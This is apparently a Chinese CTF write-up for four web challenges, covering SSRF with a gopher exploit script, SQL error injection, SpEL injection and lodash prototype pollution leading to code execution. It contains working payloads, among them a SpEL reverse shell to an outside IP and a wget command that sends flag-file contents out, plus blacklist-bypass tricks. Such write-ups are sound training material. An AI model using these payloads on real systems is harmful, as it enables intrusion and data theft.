0%

第二届网刃杯 WEB

Sign_in

一道SSRF

image-20220424104104077

看一下网络情况

http://124.222.173.163:20003/?url=file:///proc/net/arp

image-20220424104323502

访问一下 100,因为长的奇怪

image-20220424104418372

绕后就是添加一下XFF,Ref头信息,gopher打过去就好

exp

import urllib.parse
payload =\
"""
POST /?a=1 HTTP/1.1
Host: bolean.club
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club

b=1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = '?url=gopher://172.73.26.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码

FLAG:flag{Have_A_GoOd_T1m3!!!!!!}

upload

题目提示与sql有关,随便上传尝试在filename加个单引号

image-20220424115744718

回显报错

Error: insert into upload_file values('9e55ed4dd2c3418a9f3c6b39c5fb2290.sql'');<br>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''9e55ed4dd2c3418a9f3c6b39c5fb2290.sql'')' at line 1

利用报错注入读一下源码,sqlmap可以跑出来

index.php

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>简单上传</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="upfile">
<input type="submit" value="上传">
</form>
</body>
</html>
<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "upload";


$conn = mysqli_connect($servername, $username, $password, $dbname);
if(!empty($_FILES)){
$filename_hz = explode(".", $_FILES['upfile']['name']);
$name = array('jpg', 'jpeg' ,'png', 'gif');
$filename_ = end($filename_hz);
if(in_array($filename_, $name) || $_FILES['upfile']['type'] == "ctf"){
$tmpname = $_FILES['upfile']['tmp_name'];
$name = $_FILES['upfile']['name'];
$file_name = md5(date('YmdHis').rand(100,999).$name).'.'.$filename_;
$sql = "insert into upload_file values('$file_name');";
if (mysqli_query($conn, $sql)){
if(move_uploaded_file($tmpname, './upload/'.$file_name)){
echo $name.""."/upload/$file_name";
}else{
echo $name." ";
}
}else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
}else{
echo "............ctf";
}
}

直接报错猜 flag 字段

image-20220424143141922

FLAG:flag{5937a0b90b5966939cccd369291c68aa}

ez_java

  • spel注入

任意文件读取

/download?filename=../../../web.xml

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>com.abc.servlet.TestServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test388</url-pattern>
</servlet-mapping>

</web-app>

下载两个 class文件

/download?filename=../../../classes/com/abc/servlet/TestServlet.class
/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class

TestServlet.class存在SPEL注入,黑名单拼接一下就绕了

image-20220424163921155

URL编码一下payload即可反弹shell

POST:
http://124.220.9.19:8025/test388

name=#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/1.116.110.61/3000 0>&1"})}

image-20220424163848244

FLAG:flag{123awerghjvxcvcjfreawe}

ezjs

  • 原型污染
  • lodash

看下库,用到了lodash,这个版本存在漏洞,npm install 一下本地调试

image-20220424164545396

从代码中可以看到merge存在原型污染,然后用到了template函数

image-20220426132213290

然后找到了文章 从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com),有个配合 lodash.template 实现 RCE,污染 sourceURL

payload

{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}

但是题目的黑名单没有明确给出,跟进调试一下,假设黑名单为空。

断点下到template,Object的sourceURL已被污染

image-20220426133719211

判断options中的sourceURL的值,options中不存在,向上寻找到Object,这里已经污染了所以存在

image-20220426133752983

此时

sourceURL = "//# sourceURL=\nreturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('calc')}\n"

然后拼接到 Function中的第二个参数,造成任意代码执行

image-20220426140613256

需要注意的

但是要注意,Function 环境下没有 require 函数,直接使用 require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

关于Function构造器(构造函数):Nodejs原型链污染中lodash的利用方法分析

var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。

本地测试几个变形的payload,可以执行

{"__proto__":{"sourceURL":"\u000areturn global.process.mainModule.constructor._load('child_process').execSync('calc')"}}

{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').execSync('calc')"}}

然后就是手动fuzz题目的黑名单

空格
require
return
execSync
curl
bash
wget
echo
flag
nl
tac
cat(没ban但是不起作用)
*
?

payload,flag在/.flag

{
"__proto__":{
"sourceURL":
"\nglobal.process.mainModule.constructor._load('child_process').exec('wg'+'et${IFS}http://1.116.110.61:3000/`ta\"\"c${IFS}/.fl\"\"ag`')"
}
}

注意 Content-Type: application/json

image-20220426160404366

FLAG:flag{n0D3_1s_V3rY_v3Ry_very_v3rY_Fun_1sNt_it}